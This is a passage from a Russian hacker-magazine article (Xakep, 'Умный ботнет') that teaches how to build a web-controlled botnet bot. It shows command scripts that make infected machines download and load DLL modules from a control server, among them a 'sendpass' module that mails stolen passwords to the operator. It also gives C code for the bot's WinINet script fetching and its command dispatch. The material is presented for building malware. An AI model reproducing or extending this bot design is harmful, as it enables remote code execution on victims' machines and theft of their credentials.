Умный ботнет Николай «GorluM» Андреев Хакер, номер #076, стр. 076-112-2 С таким «лоадом» от реализации других команд в самом боте можно отказаться вообще, так как их всех можно будет засунуть в плагины. Командный скрипт для бота с такой системой преобразуется в нечто следующее: load messagemodule http://www.server-for-bots.su/message.dll load pingmodule http://www.server-for-bots.su/ping.dll message Сообщение от бота! pingaddr www.xakep.ru По идее вначале прога скачивает модули, выполненные в виде динамических библиотек, а затем выполняет команды, зашитые в них. При этом никто не мешает ботмастеру написать еще тьму DLL, реализующих его самые разные задумки. Захочет - напишет модуль, отправляющий пароли на мыло, добавит в скрипт пару строк, и будет радоваться. load sendpass http://www.server-for-bots.su/sendpass.dll sendpass somemail@very-very-important.hm Заинтересовал? Тогда можно приступать к разработке этого счастья. Пишем бот Бот может управляться отнюдь не только с web-сервера, просто управление с веба – самое простое в реализации. Тут не надо изучать протоколы (как в случае с IRC) и писать сложные программы. Скачал скрипт с помощью wininet и знай себе, парсь его. Пользоваться API для скачивания в данном случае очень легко: + получаешь дескриптор сессии wininet c помощью InternetOpen + открываешь урл - InternetOpenUrl + и сливаешь все содержимое урла в буфер функцией InternetReadFile. Получив скрипт, надо как-то разобраться, что в нем и как. Я предлагаю для начала разбить его на строки. Это можно было бы сделать с помощью обычной функции strtok, указав ей в параметре разделители “\n\r”. Но у меня она доверия не вызвала, поэтому я сам реализовал парсинг. Получилось, правда, две функции вместо одной: ParseInit и ParseString. Одна инициализирует парсинг, другая получает указатели на метки разбиения. Но это не суть важно, главное – разбить скрипт на строки, а затем выделить в них первое слово – команду. [команда] [строка аргументов] Как ты уже понял, синтаксис скриптов у меня используется простой, поэтому первое слово можно выделить, просто скопировав из строки все символы от начала и до первого пробела. Получив имя команды, надо посмотреть, зарегистрирована ли она у нас, и если да – выполнить. В коде все это выглядит следующим образом (szPageBuffer – буфер со скриптом): char *sep = "\n\r"; char *lim = szPageBuffer + lstrlen(szPageBuffer); char *token; char *command = 0; char temp[256]; // инициализируем парсинг token = ParseInit(szPageBuffer, sep, lim); if (!token) return FALSE; // делим на строки do { // копируем строку и делим на команду и аргументы lstrcpy(temp,token); command = GetFirstSpace(temp); if(command != 0) *(command-1) = 0; // запускаем сервис if (IsBotnetService(temp)) GetBotnetService(temp)(command); } while (token = ParseString(token, lim)); Ты заметил функции IsBotnetService и GetBotnetService? Это самое интересное. Сервисом я обозвал структуру, состоящую из имени команды и адреса функции, обрабатывающей аргументы этой команды. Именно манипулируя такими структурами, бот будет определять, когда какой код выполнять и т.п. |